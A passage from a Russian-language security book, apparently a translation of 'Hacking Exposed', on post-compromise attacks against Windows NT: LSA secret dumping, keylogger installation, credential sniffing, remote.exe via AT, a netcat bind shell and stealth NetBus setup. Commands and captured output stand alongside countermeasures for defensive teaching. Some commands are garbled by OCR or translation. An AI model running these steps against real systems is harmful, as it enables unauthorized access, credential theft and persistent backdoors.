Самой лучшей защитой от таких "подводных камней" является использование сложных паролей для всех учетных записей группы администраторов домена и их последующее регулярное изменение (не реже, чем один раз в месяц). Кроме того, пользовательские учетные записи не должны использоваться для выполнения административных функций. Если в этом есть необходимость, создайте для таких пользователей специальные учетные записи и установите режим их аудита. Например, вместо того чтобы вносить учетную запись jsmith в группу Domain Admins, создайте учетную запись jsmitha с соответствующим уровнем привилегий. (Обратите внимание, что не стоит создавать учетные записи вида isadmin, поскольку они сразу же привлекут внимание взломщика.)
Еще одним хорошим практическим методом является использование NT-варианта утилиты UNIX su (из набора NTRK) для запуска команд с привилегиями другого пользователя.

Встроенная команда runae Windows 2000 предоставляет более простой способ запуска приложений с необходимыми привилегиями. Например, следующая команда runas запускает сеанс командной оболочки, работающий в контексте учетной записи Administrator домена DOMAIN2.

runas /user:domain2\administrator cmd.exe

Атака на секреты LSA


Эта атака может послужить одним из самых ярких примеров той опасности, к которой может привести хранение регистрационных данных в незашифрованном виде. Такая информация вместе с некоторыми другими важными данными хранится системой NT во многих местах. Процесс получения конфиденциальной информации носит название атаки на секреты подсистемы защиты LSA (Local Security Authority). Эту информация определяется параметром системного реестра HKEY_LOCAL_MACHINE\-SECURITY\Policy\Secrets. К секретам LSA относятся следующие данные.
 Пароли учетных записей служб (хранятся в виде незашифрованного текста). Специальные учетные записи требуются приложениям, которым необходимо зарегистрироваться в контексте локального пользователя для выполнения определенных задач, например резервного копирования. Такие учетные записи обычно имеются во внешних доменах и при взломе какого-либо компьютера могут использоваться взломщиком для прямой регистрации во внешнем домене.  Кэшированные хэш-коды паролей последних десяти регистрировавшихся пользователей.  Пароли FTP и Web (также в виде незашифрованного текста).  Имена и пароли учетных записей служб RAS.   Пароли рабочих станций для доступа к домену. Очевидно, что такие сведения, как пароли учетных записей служб, запушенных с привилегиями пользователей домена, информация о последних регистрировавшихся пользователях, пароли доступа рабочих станций к домену и так далее могут оказать взломщику существенную помощь в исследовании структуры домена.
Например, представим автономный сервер, на котором запущены службы SMS (Systems Management Server) или SQL, работающие в контексте пользователя домена. Если локальный администратор такого сервера использует пустой пароль, то с помощью данных LSA взломщик может получить сведения об учетной записи пользователя домена. Этот изъян может привести к утечке информации на уровне многорангового домена (multimaster domain). Если на сервере ресурсов домена запущена служба, работающая в контексте учетной записи пользователя главного домена, то утечка информации на уровне сервера ресурсов может обеспечить злоумышленнику доступ к главному домену.
Можно привести и более опасный пример, который довольно типичен для корпоративных пользователей портативных компьютеров. Допустим, сотрудник компании захватил с собой в поездку такой компьютер, чтобы с помощью службы удаленного доступа подключаться к корпоративной сети или к провайдеру Internet. Поскольку он не новичок в вопросах безопасности, он не устанавливает флажок, включающий режим сохранения паролей учетных записей удаленного доступа. Но, к сожалению, система NT все равно глубоко в недрах системного реестра сохраняет пользовательское имя, номер телефона и пароль.
Исходный код, позволяющий получить секреты LSA, в 1997 году был опубликован в бюллетене NTBugtraq (http://www.ntbugtraq.com) Полом Эштоном (Paul Ashton). Однако сгенерированный исполняемый код не получил широкого распространения. Обновленную версию этого кода, называемую Isadump2, можно найти по адресу http://razor.bindview.com/tools/desc/lsadump2_readme.html. Утилита Isadump2 использует тот же прием, что и утилита pwdump2. Это позволяет обойти средства защиты компании Microsoft (см. ниже), которые ранее не позволяли успешно применять предыдущую версию этого средства, Isadump. Утилита Isadump2 выполняет автоматический поиск идентификатора PID процесса LSASS, внедряет себя в его поток управления и извлекает секреты LSA, как показано в следующем примере.

D:\Toolbox>lsadump2 $MACHINE.ACC
6E 00 76 00 76 00 68 00 68 00 5A 00 30 00 41 00
n.v.v.h.h.Z.0.A.
66 00 68 00 50 00 6C 00 41 00 73 00 f.h.P.l.A.s.
_SC_MSSQLServer
32 00 6D 00 71 00 30 00 71 00 71 00 31 00 61 00
.p.a.s.s.w.о.г.d.
_SC_SQLServerAgent
32 00 6D 00 71 00 30 00 71 00 71 00 31 00 61 00
p.a.s.s.w.о.г.d.

Как видно из приведенного фрагмента, в полученных данных содержится пароль учетной записи домена, а также два пароля, связанных с учетными записями службы SQL, которые извлечены из данных LSA.
В программе Internet Scanner 5.6 от компании Internet Security Systems (ISS) встроена возможность инвентаризации секретов LSA, которая входит как составная часть в технологию SmartScan. Если этот сканер сможет получить доступ к узлу NT на уровне администратора, он попытается инвентаризовать все возможные пароли, которые когда-либо использовались на данном узле. Все найденные пары "имя учетной записи/пароль" сохраняются в файле KnownUsers. В тех случаях, когда сканер обнаруживает (через нулевое соединение) в сети другой узел, на котором имеется учетная запись с таким же именем, он пытается подключиться к нему, указав только что найденный пароль. Не нужно обладать большим воображением, чтобы понять, насколько быстро можно собрать важнейшую информацию о всех или почти всех учетных записях большой сети.

Контрмеры: защита секретовLSA


К сожалению, компания Microsoft не сказала ничего оригинального, заявляя, что к подобной информации администратор имеет доступ в соответствии с принятой архитектурой. В статье базы знаний KB Q184017 описывается модуль обновления, предназначенный для исправления изъянов исходной версии подсистемы LSA. После его установки с помощью шифрования SYSKEY кодируются хранящиеся на компьютере пароли учетных записей служб, кэшируемые данные для регистрации в домене, а также пароли рабочей станции.
Изъян, заключающийся в открытом хранении кэшируемых данных RAS, был исправлен в сервисном пакете SP6a (изначально после появления сервисного пакета SP5 компанией Microsoft был выпущен модуль обновления). Более подробная информация приведена в статье KB Q230681.

Параметры реестра, предназначенные для автоматической регистрации


Систему NT можно настроить таким образом, чтобы при загрузке выполнялась автоматическая регистрация в системе. Для этого используется параметр системного реестра HKLM\SOFWTARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon. Автоматическая регистрация может оказаться полезной в тех редких случаях, когда неже-
лательно, чтобы пользователь знал регистрационное имя и пароль. Однако необходимо знать, что в этом режиме в реестре (группа параметров HKLM\SOFWTARE\Microsoft\ Windows NT\CurrentVersion\Winlogon\) сохраняются в незашифрованном виде такие сведения, как используемые по умолчанию имя домена (DefaultDomainName), пользовательское имя (DefaultUserName) и пароль (DefaultPassword).
Остерегайтесь также применения процедур автоматической установки программного обеспечения, которым после перезагрузки требуется автоматическая регистрация с привилегиями администратора.

Контрмеры против автоматической регистрации


Для того чтобы запретить автоматическую регистрацию, удалите значение параметра DefaultPassword. Кроме того, нужно удалить значение параметра AutoAdmin Logon или установить его равным 0.

Регистраторы нажатия клавиш


Если все остальные попытки взломщика, имеющего статус администратора локальной системы, получить аналогичные привилегии в домене не увенчались успехом, он может попытаться пойти самым простым путем: установить регистратор нажатия клавиш (keystroke logger). Так называются программы, которые скрытно от пользователя перехватывают все нажатия клавиш и, прежде чем передать их операционной системе, записывают в скрытый файл на диске. Рано или поздно какой-нибудь пользователь, зарегистрировавшись в системе, оставит соответствующий "отпечаток" своего имени и пароля в файле программы-регистратора.
Существует множество различных регистраторов для Windows NT, однако, пожалуй, одним из лучших является Invisible Key Logger Stealth (IKS) for NT, который можно найти на узле http: //www.amecisco.com/iksnt.htm по цене $149.
IKS for NT — это, по сути дела, драйвер клавиатуры, который работает внутри ядра NT. Именно этим и объясняется то, что его присутствие практически никак не отображается в системе. IKS перехватывает даже нажатие комбинации клавиш <Ctrl+Alt+Del>, что позволяет очень легко идентифицировать каждый факт регистрации в системе.
Однако еще важнее то, что очень просто осуществить удаленную установку IKS. Для этого достаточно скопировать один файл, отредактировать некоторые параметры реестра, а затем перезагрузиться. Злоумышленник, скорее всего, переименует драйвер iks.sys, присвоив ему какое-то имя, не вызывающее подозрений, например scsi.sys (у кого поднимется рука, чтобы удалить такой драйвер?), а затем скопирует его в каталог %systemroot%\system32\drivers. После этого остается лишь внести изменения в системный реестр в соответствии с содержимым файла iks.reg, входящего в комплект поставки, или просто запустить на удаленном компьютере файл .reg. Можно воспользоваться также программой regini.exe, входящей в состав NTRK, которая может внести изменения в реестр удаленного узла. В файле readme.txt, который входит в комплект поставки IKS, объясняется, как скрыть драйвер и файл журнала с перехваченными нажатиями клавиш, изменив содержимое файла .reg. После внесения изменений в реестр необходимо перезагрузить систему, чтобы драйвер IKS приступил к работе. Для выполнения этой задачи проще всего воспользоваться инструментом Remote Shutdown из NTRK (shutdown. exe), как показано в следующем примере (подробное описание параметров командной строки содержится в документации по NTRK). shutdown \\<±р_адрес> /R /T:l /Y /С
Если все пройдет гладко и никто не обратит внимания на странное поведение компьютера-жертвы, то все нажатия клавиш будут сохраняться в файле, указанном в последней строке файла iks . reg. Выждав какое-то время, взломщик снова зарегистрируется в качестве администратора, перепишет полученный файл (по умолчанию он называется iks.dat, но, скорее всего, он будет переименован), а затем просматривает его с помощью утилиты datview, входящей в комплект поставки IKS. Ниже приведено диалоговое окно настройки параметров datview.


За несколько недель работы утилита IKS, как правило, перехватывает хотя бы одну пару "имя пользователя/пароль" уровня домена, которые обычно находятся после записи, сгенерированной при нажатии <Ctrl+Alt+Del>.

Контрмеры: защита от программ-регистраторов


Обнаружить программы-регистраторы не так-то просто. Это объясняется тем, что они внедряются в систему на низком уровне. Что касается IKS, мы рекомендуем поискать в системном реестре параметр LogName, который должен находиться где-то в группе параметров HKLM\SYSTEM\CurrentControlSet\Services. Значением этого параметра является путь к журналу регистрации нажимаемых клавиш. Параметр, в котором находится данное значение, можно безболезненно удалить (естественно, соблюдая обычные предосторожности, связанные с редактированием системного реестра). Для обнаружения же самого драйвера IKS требуется обладать в какой-то степени навыками сыщика, чтобы распознать его среди прочих файлов . sys, хранящихся в каталоге %systemroot%\system32\drivers. Самым простым методом является проверка свойств каждого файла. Во вкладке Version диалогового окна свойств IKS будет указано IKS NT4 Device Driver, а в качестве внутреннего имени — iksnt. sys.
Получив доступ к домену, взломщик захочет воспользоваться своим статусом администратора сервера в качестве плацдарма для дальнейшего "захвата территорий". В следующем разделе описываются некоторые методики достижения этой цели и соответствующие им контрмеры.



Анализаторы сетевых пакетов

Перехват пакетов, передаваемых в локальной сети, является одним из наиболее эффективных способов дальнейшего проникновения в сеть после того, как взломщик получил доступ к одному узлу. В настоящее время имеется множество средств перехвата пакетов, в том числе один из самых знаменитых коммерческих наборов анализа протоколов Sniffer Pro от компании Network Associate (http://www.nai.com). Этот комплект средств появился сразу же за выпуском прекрасной свободно распространяемой программы CaptureNet 3.12, являющейся частью набора SpeNet/PeepNet от Лаврентия Никулы (Laurentiu Nicula), который можно найти по адресу http://packetstorm.securify.com. Достаточно много можно сказать и о приложении Network Monitor, входящем в комплект поставки системы NT/2000. Эта утилита позволяет отслеживать трафик лишь локального узла. Однако при установке сервера SMS (Systems Management Server) можно воспользоваться полной версией Network Monitor.
В то же время очевидно, что графический интерфейс этих программ препятствует их применению в тех случаях, когда основным требованием является скрытность выполняемых действий и можно лишь удаленно воспользоваться командной строкой. В следующих разделах будут рассмотрены некоторые программы-анализаторы сетевых пакетов, которые без проблем можно установить удаленно и использовать из командной строки, а также несколько средств на базе интерфейса Win32.

BUTTSniffer


Среди взломщиков системы NT наиболее популярным средством является динамически загружаемая программа BUTTSniffer от Дилдога (DilDog), основного автора Back Orifice 2000. Программа BUTTSniffer состоит из двух основных компонентов, BUTTSniff.exe (139,264 байт) и BUTTSniff.dll (143,360 байт), каждый из которых можно переименовать. Для установки этих файлов достаточно просто загрузить их на целевой узел. Никаких дополнительных действий по установке не требуется. Запуск программы осуществляется из командной строки, в которой можно указать различные параметры. Параметр -1 позволяет получить список интерфейсов, доступных для перехвата пакетов. Взломщики наверняка воспользуются возможностью копирования всех захваченных данных в файл на жестком диске (для этого нужно не использовать параметры фильтрации), как показано в следующем примере.

D:\Toolbox\buttsniffer>buttsniff-1
WinNT: Version 4.0 Build 1381
Service Pack: Service Pack 6
# Interface Description
-----------------------
0 Remote Access Mac
[\Device\NDIS3Pkt_AsyncMac4] (no promise.)
1 3Com Megahertz FEM556B [\Device\NDIS3Pkt_FEM5567]
D:\Toolbox\buttsniffer>
buttsniff -d 1 D:\test\sniffl.txt p
WinNT: Version 4.0 Build 1381
Service Pack: Service Pack 6
Press Ctrl-C to stop logging...
Close requested
D:\Toolbox\buttsniffer>
cat D:\test\sniffl.txt
Source IP: 192.168.7.36 Target IP: 192.168.7.200
TCP Length: 13 Source Port: 3530
Target Port: 21 Seq: 001A145E
Ack: 6D968BEC
Flags: PA Window: 8711
TCP ChkSum: 6575 UrgPtr: 0
00000000: 55 53 45 52 20
67 65 6F 72 67 65 OD OA USER
ernie..
Source IP: 192.168.7.36
Target IP: 192.168.7.200
TCP Length: 17 Source Port: 3530
Target Port: 21 Seq: 001A146B
Ack: 6D968COF
Flags: PA Window: 8676
TCP ChkSum: 41325
UrgPtr: 0 00000000: 50 41 53 53 20 47 65
6F 72 67 65 30 30 31 3F OD
PASS bert.
00000010: OA

Утилита BUTTSniffer отличается нестабильностью. При ее использовании в течение продолжительного времени она может привести к краху системы NT (появлению синего экрана смерти).

fsniff


Утилита fsniff написана компанией Foundstone, Inc., в которой авторы книги являются ведущими сотрудниками.

Утилитой fsniff используется динамически загружаемый драйвер захвата пакетов (fsniff .sys), что значительно облегчает ее использование. Эта утилита выполняет автоматическую фильтрацию данных аутентификации, содержащихся в пакетах, как показано в следующем примере сеанса FTP. 

С:\tmp>fsniff
fsniff vl.О - copyright2000 foundstone, inc.
driver activated
192.168.200.15 [4439] -> 172.16.23.45 [21] }
USER test PASS ralph
172.16.23.45 [21] -> 192.168.200.15 [4439] }
220 ftp.victim.net FTP server (Version wu-2.5.0(l)
Tue Sep 21 16:48:12
EOT 199
9) ready.
331 Password required for test.
530 Login incorrect.
packets received 27 - sniffed 10

Анализаторы пакетов Win32 * на базе интерфейса WinPcap


Многие популярные программы-анализаторы UNIX, предназначенные для захвата пакетов на уровне пользователей, созданы на базе интерфейса libpcap, не зависящего от используемой платформы. Свободно распространяемая версия Win32 этого интерфейса, WinPcap, была разработана группой исследователей из политехнического университета Торино (Politecnico di Torino) (http://netgroup-serv.polito.it/winpcap). Этот интерфейс предоставляет основу для создания некоторых интересных средств перехвата сетевых пакетов. Однако их неудобно устанавливать на удаленном узле и использовать из командной строки. Кроме того, в отличие от динамически загружаемых утилит BUTTSniffer и f sniff, для активизации таких средств зачастую требуется перезагрузка. В последующих разделах для полноты излагаемого материала, а также для облегчения дальнейших исследований в этой области, будут рассмотрены некоторые из средств, созданных на базе интерфейса WinPcap.

WinDump


Эта утилита, являющаяся аналогом утилиты tcpdump системы UNIX, написана авторами WinPcap. Как видно из приведенного ниже примера, эта утилита является простым средством перехвата пакетов, предоставляющим данные в необработанном виде. 

D:\>windump
windump: listening on\Device\Packet_E159xl
01:06:05.818515 WKSTN.1044 >
CORP-DC.139: P 287217:287285(68) ack
3906909778 wi
n 7536 (DF) [tos 0x86]
01:06:05.818913 CORP-DC.139 >
WKSTN.1044: P 1:69(68) ack 68 win 16556
(DF)
01:06:05.825661 arp who-has
192.168.234.1 tell WKSTN
01:06:05.826221 arp reply
192.168.234.1 is-at 8:0:3d:14:47:d4

dsniff для Win32


Утилита dsniff является одним из самых лучших средств перехвата пакетов системы UNIX, предназначенных исключительно для получения паролей. Она была написана Дагом Сонгом (Dug Song) (http://naughty.monkey.org/~dugsong/dsniff/). Утилита dsniff автоматически выявляет и подробно анализирует каждый протокол, сохраняя лишь часть уникальных данных, используемых при аутентификации.
Ранняя версия утилиты dsniff для Win32, появившаяся в мае 2000 года, была написана Майком (Mike) из компании eEye Digital Security. В ней отсутствуют многие возможности таких утилит, как arpredirect, что делает ее версию для системы Linux более робаст-ной (см. главу 8 и 10). Тем не менее, утилита dsniff может оказаться полезной для получения данных аутентификации. В следующем примере утилита dsniff была использована для перехвата пакетов, передаваемых в процессе аутентификации по протоколу POP.

D:\dsniff>dsniff
07/31/00 17:16:34 С574308-А ->
mail.victim.net (pop)
USER johnboy
PASS goodnight

Контрмеры: защита от перехвата пакетов


Если приведенные выше советы показались вам недостаточными, дополнительно можно порекомендовать следующее. При передаче информации по сети используйте механизмы шифрования, такие как сервер SSH (Secure Shell), протокол SSL (Secure Sockets Layer), шифрование почтовых сообщений POP (Pretty Good Privacy) или шифрование на уровне IP, которое обеспечивается при реализации виртуальных частных сетей на-базе протокола IPSec (см. главу 9). Это надежные средства защиты от атак, направленных на перехват пакетов. Использование сетей с коммутируемой архитектурой и виртуальных локальных сетей (Virtual Local Area Network) может значительно снизить риск взлома, однако в случае применения таких средств, как утилиты dsnif f и arpredirect из UNIX (см. главу 10), нельзя предоставить никаких гарантий.

При печати второго издания этой книги был выпущен совместимый с системой NT/2000 сервер SSH, который можно найти по адресу http://marvin.criadvantage.com/caspian/Software/SSHD-NT/default.php. Многие годы он служил основой безопасного удаленного управления системами на базе UNIX, и очень интересно познакомиться с новой версией, которая позволяет из командной строки удаленно управлять системами NT/2000. Ее можно рассматривать как альтернативу терминального сервера. Более подробную информацию о сервере SSH можно найти по адресу http://www.employees.org/-satch/ssh/faq/ssh-faq.html.



Удаленное управление и потайные ходы

Мы не раз отмечали, что в системе NT недостаточно хорошо обстоят дела с удаленным выполнением команд, однако до этого момента картина освещалась несколько однобоко. Дело в том, что после получения статуса администратора у взломщика появляется целый ряд возможностей выполнения таких операций.

 Утилита remote.exe (NTRK)


В состав NTRK входят две утилиты, обеспечивающие удаленное выполнение команд: Remote Command Line (remote.exe) и Remote Command Service (rcmd.exe и rcmdsvc.exe, клиент и сервер соответственно). Эти утилиты включены лишь в серверный вариант NTRK.
Из них большую угрозу представляет утилита remote.exe, поскольку ее легче установить и она более проста в использовании. Сложность применения rcmdsvc. exe в основном объясняется тем, что ее нужно установить и запустить на удаленном компьютере как службу, тогда как remote.exe не нуждается в дополнительных средствах и может работать как в режиме сервера, так и в режиме клиента. Нужный режим легко задать с помощью параметра командной строки (remote.exe /С— для клиента, remote.вхв /S —- для сервера). Однако с утилитой remote.exe возникает другая проблема из разряда "Что было раньше — курица или яйцо?" Дело в том, что для ее запуска на удаленном компьютере в качестве сервера сначала необходимо, чтобы на этом компьютере было разрешено удаленное выполнение команд. Эта проблема решается только при наличии доступа в качестве администратора, с использованием службы Schedule системы NT, также известной как команда AT (которая доступна только администраторам).
Для начала нужно скопировать файл remote. exe в каталог удаленной системы, в котором разрешено выполнение программ. Проще всего это сделать, подключившись к совместно используемому системному ресурсу с$ в качестве администратора и скопировать указанный файл в каталог %systemroot%\system32. При этом утилита, с одной стороны, будет находиться в каталоге, в котором Windows по умолчанию производит поиск выполняемых файлов, а с другой — ее будет трудно случайно обнаружить среди множества разных системных файлов.
Затем необходимо запустить скопированную утилиту remote. exe с помощью команды AT. Однако, прежде чем это сделать, нужно провести подготовительную работу. Во-первых, на удаленной системе должна быть запушена служба Schedule. С этой задачей может справиться еще одна прекрасная утилита Service Controller (sc.exe) из набора NTRK. После этого с помощью команды net time необходимо сверить часы локальной системы с часами удаленной, как показано ниже. 

С:\> ас \\192.168.202.44 start schedule
SERVICE_NAME: schedule
TYPE 10 WIN32_OWN_PROCESS
STATE 2 START_PENDING
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
WIN32_EXIT_CODE 0 (0x0)
SERVICE_EXIT_CODE 0 (0x0)
CHECKPOINT 0x0
WAIT_HINT OxVdO
C:\> net time \\192.168.202.44
Current time at \\192.168.202.44 is 5/29/99 10:38 PM
The command completed successfully.

Для запуска команд в течение нескольких секунд можно использовать утилиту soon из набора NTRK.

Теперь можно воспользоваться командой AT и запустить экземпляр remote. exe в серверном варианте, запланировав запуск через две минуты от текущего времени взламываемого компьютера (для использования в команде пробелов ее необходимо заключить в двойные кавычки). С помощью второй команды, как показано ниже, можно убедиться, что задание было запланировано корректно (для исправления ошибок воспользуйтесь первой командой AT с параметром [номер задания] /delete).

С:\> at \\192.168.202.44 10:40Р ""remote /s cmd
secret""
Added a new job with job ID = 2
C:\> at \\192.168.202.44
Status ID Day Time Command Line
2 Today 10:40 PM remote /s cmd secret

Когда наступает момент выполнения запланированной команды, соответствующий номер задания исчезает из листинга, выводимого командой AT. Если команда была введена корректно, это означает, что сервер remote заработал. Теперь взломщик имеет доступ к командной строке удаленной системы с помощью клиентского режима команды remote. Во избежание путаницы мы используем в примере для локальной системы приглашение D:>, а для удаленной — С:>. В данном примере используется команда DIR для просмотра каталога удаленной системы, а затем с помощью команды @Q завершается работа клиента, а сервер продолжает работать (команда @к завершает работу сервера).

D:\> remote /с 192.168.202.44 secret
*****************************
*********** remote **********
*********** CLIENT **********
*****************************
Connected..
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1998 Microsoft Corp.
C:\> dir winnt\repair\sam._
dir winnt\repair\sam._ Volume in drive С has no label.
Volume Serial Number is D837-926F
Directory of C:\winnt\repair
05/29/99 04:43p 10,406 sam.
_1 File(s) 10,406 bytes
1,243,873,280 bytes free
C:\> @q
*** SESSION OVER ***
D:\>

Да, пожалуй, вряд ли ребята из Microsoft могли придумать что-то еше более простое для хакера средней руки! Теперь мы можем запускать файлы на удаленной системе, хотя только из командной строки. Еше одним ограничением утилиты remote.exe является то, что программы, использующие консольный программный интерфейс Win32, также работать не будут. Однако в любом случае это лучше, чем вообще отсутствие возможности удаленного запуска. Как мы вскоре увидим, с ее помощью на удаленной системе можно установить более мощные средства управления.
Наконец, необходимо отметить еще одно важное свойство утилиты remote.exe, которое заключается в поддержке именованных каналов. Она будет работать на любых двух узлах, поддерживающих один и тот же протокол — IPX, TCP/IP либо NetBEUI.

Удаленный доступ к командной оболочке с помощью netcat


Еще одним простым способом организации "потайного хода" является применение "армейского швейцарского ножа TCP/IP"— утилиты netcat (http://www.ldpht. com/netcat). Утилиту netcat можно настроить на прослушивание определенного порта с последующим запуском исполняемой программы, если удаленная система подключается к данному порту. Настроив утилиту netcat на запуск интерпретатора командной строки NT, можно сделать так, чтобы этот интерпретатор запустился на удаленной системе. Синтаксис для запуска команды netcat в режиме скрытого прослушивания приведен в следующем примере. Параметр -L позволяет восстанавливать разорванное соединение; -d активизирует режим скрытого прослушивания (т.е. без обмена информацией с консолью); -е позволяет задать запускаемую программу (в данном случае — интерпретатор командой строки NT cmd. exe); а -р указывает порт, который будет прослушиваться. С:\TEMP\NC1lNT>nc -L -d -e and.exe -p 8080
Теперь любой злоумышленник, подключившийся к порту 8080, сможет на удаленном компьютере запустить интерпретатор командной строки. В следующем примере показано, как, подключившись к вышеуказанному порту рассматриваемого узла (192.168.202.44), получить удаленный доступ к интерпретатору командной строки. Для того чтобы устранить путаницу, мы снова используем в локальной системе приглашение D: \>, а в удаленной — С: \TEMP\NC11NТ>.

D:\> nc 192.168.202.44 8080
Microsoft(R) Windows NT(TM)
(С) Copyright 1985-1996 Microsoft Corp.
С:\TEMP\NC11NT>
С:\TEMP\NC1lNT>ipconfig
ipconfig
Windows NT IP Configuration Ethernet adapter FEM5561:
IP Address. ........: 192.168.202.44
Subnet Mask ........: 255.255.255.0
Default Gateway ......: C:\TEMP\NCllNT>exit
D:\>

Таким образом, теперь удаленный пользователь может выполнять команды и запускать программы. Теперь судьба удаленного компьютера целиком и полностью зависит лишь от фантазии взломщика.

NetBus


Невозможно, рассказывая о безопасности NT, умолчать о NetBus — "старшей сестре" широко известной утилиты Back Orifice (ВО) для Win 9x, разработанной группой хакеров "Культ мертвой коровы" (cDc — Cult of the Dead Cow). Она предназначена для удаленного управления и хакинга. Главное различие между NetBus и ВО состоит в том, что первая работает как на платформе Windows NT, так и в Win 9x (правда, последние версии ВО также работают в NT — подробнее см. в следующем разделе "Back Orifice 2000"). Первая версия утилиты, разработанной Карлом-Фриде-риком Нейктером (Carl-Fredrik Neikter), распространялась бесплатно, но в начале 1999 года появившаяся версия 2.0 вышла уже в варианте NetBus Pro, который распространяется узлом http://www.netbus.org по цене $15. В новой версии были устранены многие проблемы NetBus, такие как необходимость физического доступа для ее использования в режиме скрытой работы, а также несовместимость с некоторыми средствами доставки "троянских коней". Однако "взломанные" версии утилиты, имеющиеся на хакерских узлах в Internet, не поддерживают данных возможностей. Таким образом, в Internet можно найти лишь недостаточно надежные версии NetBus (последняя версия, выпущенная перед выходом NetBus Pro, имела номер 1.7). Учитывая, сколько новых возможностей реализовано в профессиональной версии, мы не будем тратить время на описание методов использования предыдущих версий.
NetBus — это приложение, созданное на базе архитектуры клиент/сервер. Сервер называется NBSVR.EXE, однако его, конечно же, можно переименовать, присвоив ему другое имя. Для того чтобы клиент мог установить соединение с удаленной системой, на ней сначала должен быть запущен сервер. Хотя ничто не препятствует установке NetBus без привилегий администратора путем использования вложения почтового сообщения или какой-нибудь другой уловки, вероятность успеха такого метода будет низкой, если системный администратор предпринял соответствующие меры защиты (иными словами — никогда не запускайте файлов, присланных по электронной почте или каким-либо другим способом неизвестными вам лицами). Поэтому мы будем рассматривать утилиту NetBus в контексте ситуации, когда она скрытно установлена взломщиком, обладающим привилегиями администратора.
Первое, что должен сделать злоумышленник, — скопировать NBSRV.EXE в каталог %systemroot%\system32. Кроме того, необходимо настроить NetBus для запуска в скрытом режиме. Обычно этот режим активизируется с помощью графического пользовательского интерфейса, однако поскольку при удаленном доступе графический интерфейс использовать невозможно, для внесения соответствующих изменений в системный реестр придется воспользоваться средством редактирования системного реестра regini . exe, входящим в состав NTRK.
Для внесения изменений в системный реестр утилита regini в качестве входных данных должна получить соответствующий текстовый файл. Поэтому сначала нужно создать такой файл (в данном примере мы назовем его NETBUS.TXT) и поместить в него параметры, которые необходимо внести в системный реестр. Самый простой метод создания такого файла заключается в получении его с помощью локальной установки NetBus Pro 2.01 и утилиты regdmp из набора NTRK. В приведенном ниже примере листинг, сгенерированный утилитой regini в процессе внесения изменений в системный реестр удаленной системы, отображает перечень параметров, которые должны присутствовать в файле NETBUS.TXT.

D:\temp>regini -m \\192.168.202.44 netbus.txt
HKEY_LOCAL_MACHINE\SOFTWARE\Net SolutionsXNetBus Server
General
Accept = 1
TCPPort = 80
Visibility = 3
AccessMode = 2
AutoStart = 1
Protection
Password = impossible

Данные параметры управляют основными функциями утилиты NetBus. Самыми важными из них являются следующие: General\TCPPort, который настраивает сервер NBSVR на прослушивание порта 80 (это лишь рекомендация, так как порт HTTP, скорее всего, не будет отфильтровываться маршрутизатором); visibility =3, значение, задающее режим скрытой работы; AutoStart = 1, включающее режим автоматического запуска серверной части NBSVR при загрузке Windows (при этом автоматически создается дополнительный параметр реестра в группе HKLM\SOFTWARE\ Microsoft\Windows\CurrentVersion\RunServices, содержащий значение с типом REG_SZ вида С:\WINNT\SYSTEM32\NBSvr.EXE).
После того как системный реестр отредактирован, можно запустить NBSRV.EXE из командной строки удаленной системы, а затем запустить клиентскую часть на локальной системе и подключиться к находящемуся в состоянии ожидания серверу. На следующем рисунке показан графический пользовательский интерфейс NetBus, в меню которого выбрана команда Reboot, с помощью которой на удаленной системе можно, выполнить один их самых "жестоких" трюков — перезагрузку.


Большинство остальных команд включено в программу, скорее для "невинных шалостей", а не для извлечения какой-то пользы (открытие и закрытие дисковода компакт-дисков, блокировка клавиатуры и т.д.). Одним из немногих действительно полезных средств является регистратор нажатия клавиш, диалоговое окно которого показано ниже. Кроме того, с помощью такой полезной функции, как перенаправление портов, можно использовать взломанный компьютер как плацдарм для проникновения на другие узлы сети.


Контрмеры против использования NetBus


Показанные выше изменения в системном реестре очень просто обнаружить и удалить, однако более старые версии NetBus размещали файл изменений реестра и файл сервера в разных местах и под разными именами (ранее выполняемый файл серверной части NetBus по умолчанию назывался patch.exe и часто переименовывался в [space] .exe). Кроме того, различные версии NetBus прослушивают разные порты (чаше всего по умолчанию используются порты 12345 и 20034). Наконец, все установленные по умолчанию конфигурационные параметры легко модифицировать в соответствии с желаниями взломщика. Поэтому самый лучший совет, который мы можем дать, состоит в том, чтобы найти хорошую утилиту, позволяющую удалить NetBus. Современные антивирусные пакеты легко справляются с этой задачей, поэтому нужно их регулярно использовать. Однако сначала убедитесь, что антивирусный пакет в процессе проверки не ограничивается поиском имен стандартных файлов NetBus и параметров системного реестра. Кроме того, мы считаем, что нужно также регулярно проверять параметры, управляющие запуском программ при загрузке Windows (см. раздел "Параметры Реестра, Обеспечивающие Выполнение Программ" выше в данной главе), поскольку избавиться от вредоносной программы, которая всякий раз запускается вместе с Windows, невозможно.
Без сомнения, утилита NetBus заслуживает гораздо большего внимания, чем мы уделили ей, однако необходимо отметить, что в настоящее время есть более удобные средства удаленного управления, которые не только имеют графический интерфейс, но и распространяются в Internet бесплатно (см. ниже раздел "Удаленная Атака На GUI Системы NT С Помощью Winvnc"). Однако зачастую утилита NetBus устанавливается в процессе установки других средств, что обеспечивает взломщику пространство для маневра. Так что будьте очень внимательны.

Back Orifice 2000


Хотя первая версия Back Orifice не работала в системе NT, всего за год ее программисты из группы хакеров "Культ мертвой коровы" (Cult of the Dead Cow) справились с задачей переноса своего детища на эту платформу. Версия Back Orifice 2000 (ВО2К) появилась 10 июля 1999 года, чем изрядно подпортила настроение администраторам NT, которые посмеивались над ВО9х По предоставляемым функциям ВО2К практически не отличается от ВО9х в том, что касается удаленного управления. Мы уже подробно рассматривали соответствующие функции в главе 4, поэтому не будем повторять их здесь еще раз, а сосредоточимся лишь на том, как распознать и удалить ВО2К, установленную в вашей сети.

Контрмеры: защита от Back Orifice 2000


Как и в случае с NetBus, большинство ведущих разработчиков антивирусного программного обеспечения обновили свои программные продукты, так что теперь с их помощью можно распознать и удалить ВО2К. Поэтому самый простой способ обезопасить себя от ВО2К — регулярно обновлять антивирусный пакет. Существуют также и специальные средства обнаружения и удаления ВО, однако к ним нужно относиться с осторожностью. Некоторые из них не удаляют ВО2К, а устанавливают, играя роль "троянских коней". Одним из продуктов, которым можно доверять, является Internet Scanner компании Internet Security Systems (ISS). С его помощью можно выявить присутствие ВО2К в сети, проверяя все находящиеся в режиме ожидания запросов порты.
Один из лучших методов удаления ВО2К заключается в использовании самой программы. В меню утилиты Sever Command Client (bo2kgui) из набора ВО2К имеется команда Server Control^Shutdown Server, предназначенная для удаления сервера.
